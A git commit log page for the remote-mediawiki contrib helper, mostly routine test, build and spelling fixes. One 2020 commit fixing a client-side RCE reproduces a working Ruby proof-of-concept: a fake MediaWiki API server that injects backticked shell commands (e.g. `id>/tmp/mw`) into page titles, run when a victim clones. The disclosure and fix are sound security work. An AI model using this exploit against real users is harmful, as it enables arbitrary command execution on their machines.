summaryrefslogtreecommitdiff
path: root/contrib/mw-to-git
AgeCommit message (Collapse)AuthorFilesLines
2021-12-13t6000-t9999: detect and signal failure within loopLibravatar Eric Sunshine1-1/+1
Failures within `for` and `while` loops can go unnoticed if not detected and signaled manually since the loop itself does not abort when a contained command fails, nor will a failure necessarily be detected when the loop finishes since the loop returns the exit code of the last command it ran on the final iteration, which may not be the command which failed. Therefore, detect and signal failures manually within loops using the idiom `|| return 1` (or `|| exit 1` within subshells). Signed-off-by: Eric Sunshine <sunshine@sunshineco.com> Reviewed-by: Elijah Newren <newren@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-06-08t: fix whitespace around &&Libravatar Andrei Rybak2-3/+3
Add missing spaces before '&&' and switch tabs around '&&' to spaces. These issues were found using `git grep '[^ ]&&$'` and `git grep -P '&&\t'`. Signed-off-by: Andrei Rybak <rybak.a.v@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: use "sh" to eliminate unquoted commandsLibravatar Ævar Arnfjörð Bjarmason1-16/+8
Remove the use of run_git_unquoted() completely with a use of "sh -c" suggested by Jeff King, i.e.: sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id' I don't think this is needed now for any potential RCE issue. The $remotename argument is ultimately picked by the local user (and similarly, the $local variable comes from a user-supplied refspec). But completely eliminating the use of unquoted shell arguments has a value in and of itself, by making the code easier to review. As noted in an earlier commit I think the use of IPC::Open3 would be too verbose here, but this "sh -c" trick strikes the right balance between readability and semantic sanity. Suggested-by: Jeff King <peff@peff.net> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: annotate unquoted uses of run_git()Libravatar Ævar Arnfjörð Bjarmason1-6/+13
Explicitly annotate the invocations of run_git() which don't use quoted arguments. I'm not converting these to run_git_quoted() because these invocations pipe stderr to /dev/null, which the Perl open() API doesn't support. We could do a quoted version of this with IPC::Open3, but I don't think it's worth it to go through that here. Let's instead just mark these sites, and comment on why it's OK to use the variables we're using. This eliminates the last uses of run_git(), so we can remove the alias for it introduced in an earlier commit. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: convert to quoted run_git() invocationLibravatar Ævar Arnfjörð Bjarmason1-23/+26
Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: provide a list form of run_git()Libravatar Ævar Arnfjörð Bjarmason1-4/+15
Invoking commands as "git $args" doesn't quote $args. Let's support ["git", $args] as well, and create corresponding run_git_quoted() and run_git_unquoted() aliases for subsequent changes when we move the code over to the new style of invoking this function. At that point we'll delete the then-unused run_git() wrapper. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: annotate failing testsLibravatar Ævar Arnfjörð Bjarmason1-2/+3
These tests consistently fail for me, and were failing before any of the changes in this series. As noted in [1] there are some known intermittent test failures. Let's mark these as failing so we can have an otherwise passing test suite. We need to add an extra test_path_is_file() here because since d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09) test_cmp has errored out with a BUG if one of the test arguments doesn't exist, without that the test would still fail even without test_expect_failure(). 1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56 Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: fix duplicate revisions being importedLibravatar Simon Legner1-0/+3
Fix a bug with revisions being imported twice. This commit is being backported from Git-Mediawiki.git's e41ee9b ("All revisions imported twice", 2018-02-02) to git.git. See [1] for the original commit and [2] and [3] for the upstream PR and issue. 1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e 2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61 3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29 Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use CLI installerLibravatar Ævar Arnfjörð Bjarmason6-334/+79
Replace the use of screen-scraping in the test environment installation with simply invoking MediaWiki's command-line installer. The old code being deleted here relied on our own hardcoded POST parameter names & the precise layout of MediaWiki's GUI installer at a given version. Somewhere between [1] and now this inevitably broke. As far as I can tell there was never a reason for this screen-scraping hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI installer was introduced in 1.17.0. Perhaps the authors weren't aware of it, or this code was written for an older version. This allows us to simply delete our own template version of LocalSettings.php, it'll instead be provided by the CLI installer. While we're at it let's fix a few things, these changes weren't practical to split up (I'd need to fix code I was about to mostly delete) * Use MediaWiki's own defaults where possible, e.g. before we'd name the database "wikidb.sqlite", now we'll simply use whatever name MediaWiki prefers (currently my_wiki.sqlite) by only supplying the directory name the SQLite file will be dropped into, not the full path. * Put all of our database & download assets into a new "mediawiki/" folder. This makes it easier to reason about as the current & template "backup" database the tests keep swapping around live next to each other. This'll also prevent future potential breakage as there isn't a single SQLite database. MediaWiki also creates a job queue database and a couple of cache databases. In practice it seems we got away with not resetting these when we reset the main database, but it's the sort of thing that could break in the future (reset, main store doesn't have the article, but the cache does). * The "delete" function now only deletes the MediaWiki installation & database, not the downloaded .tar.gz file. This makes us friendlier to a developer on a slow connection. 1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and clear a MediaWiki", 2012-07-06) Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use inline PerlIO for readabilityLibravatar Ævar Arnfjörð Bjarmason1-4/+3
Replace the use of the "open" pragma with a three-arg open in the places that actually care about UTF-8, while leaving those that don't (the config parsing). Unlike the previous "encoding" pragma change this isn't needed for compatibility with anything. I just think it's easier to read code that has localized effects than code that changes global settings. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: replace deprecated Perl constructLibravatar Ævar Arnfjörð Bjarmason1-2/+1
The use of the encoding pragma has been a hard error since Perl 5.18 (released in 2013). What this script really wanted to do was to decode @ARGV and write out some files with the UTF-8 PerlIO layer. Let's just do that explicitly instead. This explicitly does not retain the previous UTF-8 semantics of the script. The "encoding" pragma had all sorts of global effects (program text being UTF-8, stdin/stdout etc.). But the only thing that was required was decoding @ARGV and writing out UTF-8 data, which is currently facilitated with the "open" pragma. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use a more idiomatic dispatch tableLibravatar Ævar Arnfjörð Bjarmason1-7/+7
Change the dispatch table code in test-gitmw.pl to use a hash where subroutine references are the values. This is more obvious than a hash where the values are strings we'll use to go searching around in the symbol table for the function. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use "$dir/" instead of "$dir."Libravatar Ævar Arnfjörð Bjarmason1-3/+3
Change UI messages to use "$dir/" instead of "$dir.". I think this is less confusing when referring to an absolute directory path. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: change `[]` to `test`Libravatar Ævar Arnfjörð Bjarmason1-6/+11
Convert `[]` to `test` and break if-then into separate lines, both of which bring the style in line with Git's coding guidelines. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use test_cmp in testsLibravatar Ævar Arnfjörð Bjarmason1-4/+4
Change code that used an ad-hoc "diff -b" invocation to use our test_cmp helper instead. I'm also changing the order of arguments to be the standard "test_cmp <expected> <actual>". Using test_cmp has different semantics since the "-b" option to diff causes it to ignore whitespace, but in these cases the use of "-b" was just meaningless boilerplate. The desired semantics here are to compare "git log" lines with know-good data, so we don't want to ignore whitespace. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use a 10 character passwordLibravatar Ævar Arnfjörð Bjarmason1-1/+1
In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2. The web installer now refuses our old 9 character password, the command-line one (will be used in a subsequent change) will accept it, but trying to use it in the web UI will emit an error asking the user to reset the password. Let's use a password that'll just work and allow us to log in as the admin user. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use the login/password variablesLibravatar Ævar Arnfjörð Bjarmason1-2/+2
Change a hardcoded user/password for the corresponding variable defined in contrib/mw-to-git/t/test.config. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki doc: don't hardcode Debian PHP versionsLibravatar Ævar Arnfjörð Bjarmason1-5/+5
Change the hardcoded version 5 PHP versions to the version-agnostic packages. Currently Debian stable's version is 7.3, and there's a php7.3, php7.3-cli etc. package available (but no php5-*). The corresponding version-less package is a dependency package which depends on whatever the current stable version is. By not hardcoding the version these instructions won't be out of date when the next Debian/Ubuntu release happens. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16remote-mediawiki doc: link to MediaWiki's current versionLibravatar Ævar Arnfjörð Bjarmason1-0/+3
Amend a comment in the test.config file to point to the latest upstream version, which makes it easier for the user to tweak this. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16remote-mediawiki doc: correct link to GitHub projectLibravatar Ævar Arnfjörð Bjarmason3-3/+3
Change the link to the canonical one, the old link redirects to the new one. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2019-11-10Fix spelling errors in no-longer-updated-from-upstream modulesLibravatar Elijah Newren5-5/+5
We have several modules originally taken from some upstream source, and which as far as I can tell we no longer update from the upstream anymore. As such, I have not submitted these spelling fixes to any external projects but just include them directly here. Reported-by: Jens Schleusener <Jens.Schleusener@fossies.org> Signed-off-by: Elijah Newren <newren@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2018-07-31mw-to-git/t9360: fix broken &&-chainLibravatar Eric Sunshine1-1/+1
Signed-off-by: Eric Sunshine <sunshine@sunshineco.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2018-04-11perl: fix installing modules from contribLibravatar Christian Hesse1-2/+3
Commit 20d2a30f (Makefile: replace perl/Makefile.PL with simple make rules) removed a target that allowed Makefiles from contrib/ to get the correct install path. This introduces a new target for main Makefile and fixes installation for Mediawiki module. v2: Pass prefix as that can have influence as well, add single quotes for _SQ variant. Signed-off-by: Christian Hesse <mail@eworm.de>
2017-11-15Merge branch 'ab/mediawiki-namespace'Libravatar Junio C Hamano1-1/+37
The remote-helper for talking to MediaWiki has been updated to work with mediawiki namespaces. * ab/mediawiki-namespace: remote-mediawiki: show progress while fetching namespaces remote-mediawiki: process namespaces in order remote-mediawiki: support fetching from (Main) namespace remote-mediawiki: skip virtual namespaces remote-mediawiki: show known namespace choices on failure remote-mediawiki: allow fetching namespaces with spaces remote-mediawiki: add namespace support
2017-11-08remote-mediawiki: show progress while fetching namespacesLibravatar Antoine Beaupré1-0/+1
Without this, the fetch process seems hanged while we fetch page listings across the namespaces. Obviously, it should be possible to silence this with -q, but that's an issue already present everywhere in the code and should be fixed separately: https://github.com/Git-Mediawiki/Git-Mediawiki/issues/30 Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: process namespaces in orderLibravatar Antoine Beaupré1-1/+1
Ideally, we'd process them in numeric order since that is more logical, but we can't do that yet since this is where we find the numeric identifiers in the first place. Lexicographic order is a good compromise. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: support fetching from (Main) namespaceLibravatar Antoine Beaupré1-1/+6
When we specify a list of namespaces to fetch from, by default the MW API will not fetch from the default namespace, refered to as "(Main)" in the documentation: https://www.mediawiki.org/wiki/Manual:Namespace#Built-in_namespaces I haven't found a way to address that "(Main)" namespace when getting the namespace ids: indeed, when listing namespaces, there is no "canonical" field for the main namespace, although there is a "*" field that is set to "" (empty). So in theory, we could specify the empty namespace to get the main namespace, but that would make specifying namespaces harder for the user: we would need to teach users about the "empty" default namespace. It would also make the code more complicated: we'd need to parse quotes in the configuration. So we simply override the query here and allow the user to specify "(Main)" since that is the publicly documented name. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: skip virtual namespacesLibravatar Antoine Beaupré1-1/+4
Virtual namespaces do not correspond to pages in the database and are automatically generated by MediaWiki. It makes little sense, therefore, to fetch pages from those namespaces and the MW API doesn't support listing those pages. According to the documentation, those virtual namespaces are currently "Special" (-1) and "Media" (-2) but we treat all negative namespaces as "virtual" as a future-proofing mechanism. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: show known namespace choices on failureLibravatar Antoine Beaupré1-1/+2
If we fail to find a requested namespace, we should tell the user which ones we know about, since those were already fetched. This allows users to fetch all namespaces by specifying a dummy namespace, failing, then copying the list of namespaces in the config. Eventually, we should have a flag that allows fetching all namespaces automatically. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07remote-mediawiki: allow fetching namespaces with spacesLibravatar Ingo Ruhnke1-0/+1
we still want to use spaces as separators in the config, but we should allow the user to specify namespaces with spaces, so we use underscore for this. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07remote-mediawiki: add namespace supportLibravatar Kevin1-0/+25
This introduces a new remote.origin.namespaces argument that is a space-separated list of namespaces. The list of pages extract is then taken from all the specified namespaces. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-01remote-mediawiki: limit filenames to legalLibravatar Antoine Beaupré1-1/+2
mediawiki pages can have names longer than NAME_MAX (generally 255) characters, which will fail on checkout. we simply strip out extra characters, which may mean one page's content will overwrite another (the last editing winning). ideally, we would do a more clever system to find unique names, but that would be more difficult and error prone for a situation that should rarely happen in the first place. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-06-27Spelling fixesLibravatar Ville Skyttä2-2/+2
Signed-off-by: Ville Skyttä <ville.skytta@iki.fi> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2016-08-11Spelling fixesLibravatar Ville Skyttä2-2/+2
<BAD> <CORRECTED> accidently accidentally commited committed dependancy dependency emtpy empty existance existence explicitely explicitly git-upload-achive git-upload-archive hierachy hierarchy indegee indegree intial initial mulitple multiple non-existant non-existent precendence. precedence. priviledged privileged programatically programmatically psuedo-binary pseudo-binary soemwhere somewhere successfull successful transfering transferring uncommited uncommitted unkown unknown usefull useful writting writing Signed-off-by: Ville Skyttä <ville.skytta@iki.fi> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-06-03Merge branch 'ep/shell-command-substitution'Libravatar Junio C Hamano2-4/+4
Adjust shell scripts to use $(cmd) instead of `cmd`. * ep/shell-command-substitution: (41 commits) t5000-tar-tree.sh: use the $( ... ) construct for command substitution t4204-patch-id.sh: use the $( ... ) construct for command substitution t4119-apply-config.sh: use the $( ... ) construct for command substitution t4116-apply-reverse.sh: use the $( ... ) construct for command substitution t4057-diff-combined-paths.sh: use the $( ... ) construct for command substitution t4038-diff-combined.sh: use the $( ... ) construct for command substitution t4036-format-patch-signer-mime.sh: use the $( ... ) construct for command substitution t4014-format-patch.sh: use the $( ... ) construct for command substitution t4013-diff-various.sh: use the $( ... ) construct for command substitution t4012-diff-binary.sh: use the $( ... ) construct for command substitution t4010-diff-pathspec.sh: use the $( ... ) construct for command substitution t4006-diff-mode.sh: use the $( ... ) construct for command substitution t3910-mac-os-precompose.sh: use the $( ... ) construct for command substitution t3905-stash-include-untracked.sh: use the $( ... ) construct for command substitution t1050-large.sh: use the $( ... ) construct for command substitution t1020-subdirectory.sh: use the $( ... ) construct for command substitution t1004-read-tree-m-u-wf.sh: use the $( ... ) construct for command substitution t1003-read-tree-prefix.sh: use the $( ... ) construct for command substitution t1002-read-tree-m-u-2way.sh: use the $( ... ) construct for command substitution t1001-read-tree-m-2way.sh: use the $( ... ) construct for command substitution ...
2014-04-23git-remote-mediawiki: fix encoding issue for UTF-8 media filesLibravatar Matthieu Moy2-1/+25
When a media file contains valid UTF-8, git-remote-mediawiki tried to be too clever about the encoding, and the call to utf8::downgrade() on the downloaded content was failing with Wide character in subroutine entry at git-remote-mediawiki line 583. Instead, use $response->decode() to apply decoding linked to the Content-Encoding: header, and return the content without attempting any charset decoding. Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23git-remote-mediawiki: allow stop/start-ing the test serverLibravatar Matthieu Moy2-1/+11
Previously, the user had to launch a complete re-install after a lighttpd stop (e.g. a reboot). Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23test-gitmw-lib.sh: use the $( ... ) construct for command substitutionLibravatar Elia Pinto1-3/+3
The Git CodingGuidelines prefer the $(...) construct for command substitution instead of using the backquotes `...`. The backquoted form is the traditional method for command substitution, and is supported by POSIX. However, all but the simplest uses become complicated quickly. In particular, embedded command substitutions and/or the use of double quotes require careful escaping with the backslash character. The patch was generated by: for _f in $(find . -name "*.sh") do sed -i 's@`\(.*\)`@$(\1)@g' ${_f} done and then carefully proof-read. Signed-off-by: Elia Pinto <gitter.spiros@gmail.com> Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23t9365-continuing-queries.sh: use the $( ... ) construct for command substitutionLibravatar Elia Pinto1-1/+1
The Git CodingGuidelines prefer the $(...) construct for command substitution instead of using the backquotes `...`. The backquoted form is the traditional method for command substitution, and is supported by POSIX. However, all but the simplest uses become complicated quickly. In particular, embedded command substitutions and/or the use of double quotes require careful escaping with the backslash character. The patch was generated by: for _f in $(find . -name "*.sh") do sed -i 's@`\(.*\)`@$(\1)@g' ${_f} done and then carefully proof-read. Signed-off-by: Elia Pinto <gitter.spiros@gmail.com> Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-17t9362-mw-to-git-utf8.sh: use the $( ... ) construct for command substitutionLibravatar Elia Pinto1-2/+2
The Git CodingGuidelines prefer the $(...) construct for command substitution instead of using the backquotes `...`. The backquoted form is the traditional method for command substitution, and is supported by POSIX. However, all but the simplest uses become complicated quickly. In particular, embedded command substitutions and/or the use of double quotes require careful escaping with the backslash character. The patch was generated by: for _f in $(find . -name "*.sh") do sed -i 's@`\(.*\)`@$(\1)@g' ${_f} done and then carefully proof-read. Signed-off-by: Elia Pinto <gitter.spiros@gmail.com> Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-17t9360-mw-to-git-clone.sh: use the $( ... ) construct for command substitutionLibravatar Elia Pinto1-7/+7
The Git CodingGuidelines prefer the $(...) construct for command substitution instead of using the backquotes `...`. The backquoted form is the traditional method for command substitution, and is supported by POSIX. However, all but the simplest uses become complicated quickly. In particular, embedded command substitutions and/or the use of double quotes require careful escaping with the backslash character. The patch was generated by: for _f in $(find . -name "*.sh") do sed -i 's@`\(.*\)`@$(\1)@g' ${_f} done and then carefully proof-read. Signed-off-by: Elia Pinto <gitter.spiros@gmail.com> Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-12-05Merge branch 'jn/mediawiki-makefile-updates'Libravatar Junio C Hamano1-2/+7
Build and installation procedure clean-up. * jn/mediawiki-makefile-updates: git-remote-mediawiki build: handle DESTDIR/INSTLIBDIR with whitespace git-remote-mediawiki build: make 'install' command configurable git-remote-mediawiki: honor DESTDIR in "make install" git-remote-mediawiki: do not remove installed files in "clean" target
2013-11-12contrib: typofixesLibravatar Masanari Iida3-3/+3
Signed-off-by: Masanari Iida <standby24x7@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11git-remote-mediawiki build: handle DESTDIR/INSTLIBDIR with whitespaceLibravatar Jonathan Nieder1-2/+4
Quote DESTDIR and INSTLIBDIR for the shell in the same way as is done in the toplevel Makefile to avoid confusion in case they contain shell metacharacters. Signed-off-by: Jonathan Nieder <jrnieder@gmail.com> Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11git-remote-mediawiki build: make 'install' command configurableLibravatar Jonathan Nieder1-2/+4
On some machines, the most usable 'install' tool is named 'ginstall'. Signed-off-by: Jonathan Nieder <jrnieder@gmail.com> Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11git-remote-mediawiki: honor DESTDIR in "make install"Libravatar Jonathan Nieder1-1/+3
So now you can run DESTDIR=$(pwd)/tmp make -Ccontrib/mw-to-git install to install the mediawiki remote helper, git-mw tool, and Git::Mediawiki perl module under tmp/ as preparation for zipping it up and extracting on another machine. While at it, make sure the directory that should contain Git::Mediawiki exists before putting a file there. Without this patch, the makefile uses DESTDIR when installing git-mw and git-remote-mediawiki but not the perl module, resulting in errors from "make install" if the $(INSTLIBDIR)/Git directory does not exist: install: cannot create regular file \ '/usr/share/perl/5.18.1/Git/Mediawiki.pm': No such file or directory Signed-off-by: Jonathan Nieder <jrnieder@gmail.com> Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11git-remote-mediawiki: do not remove installed files in "clean" targetLibravatar Jonathan Nieder1-1/+0
Running "make clean" after a successful "make install" should not result in a broken mediawiki remote helper. Reported-by: Thorsten Glaser <t.glaser@tarent.de> Signed-off-by: Jonathan Nieder <jrnieder@gmail.com> Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-09-24Merge branch 'maint'Libravatar Jonathan Nieder2-2/+35
* maint: git-remote-mediawiki: bugfix for pages w/ >500 revisions
2013-09-24git-remote-mediawiki: bugfix for pages w/ >500 revisionsLibravatar Benoit Person2-2/+35
Mediawiki introduces a new API for queries w/ more than 500 results in version 1.21. That change triggered an infinite loop while cloning a mediawiki with such a page. The latest API renamed and moved the "continuing" information in the response, necessary to build the next query. The code failed to retrieve that information but still detected that it was in a "continuing query". As a result, it launched the same query over and over again. If a "continuing" information is detected in the response (old or new), the next query is updated accordingly. If not, we quit assuming it's not a continuing query. Reported-by: Benjamin Cathey Signed-off-by: Benoit Person <benoit.person@gmail.com> Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
2013-09-03git-remote-mediawiki: no need to update private ref in non-dumb pushLibravatar Matthieu Moy1-1/+0
We used to update the private ref ourselves, but this update is now done by default since 664059fb (transport-helper: update remote helper namespace, 2013-04-17). Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>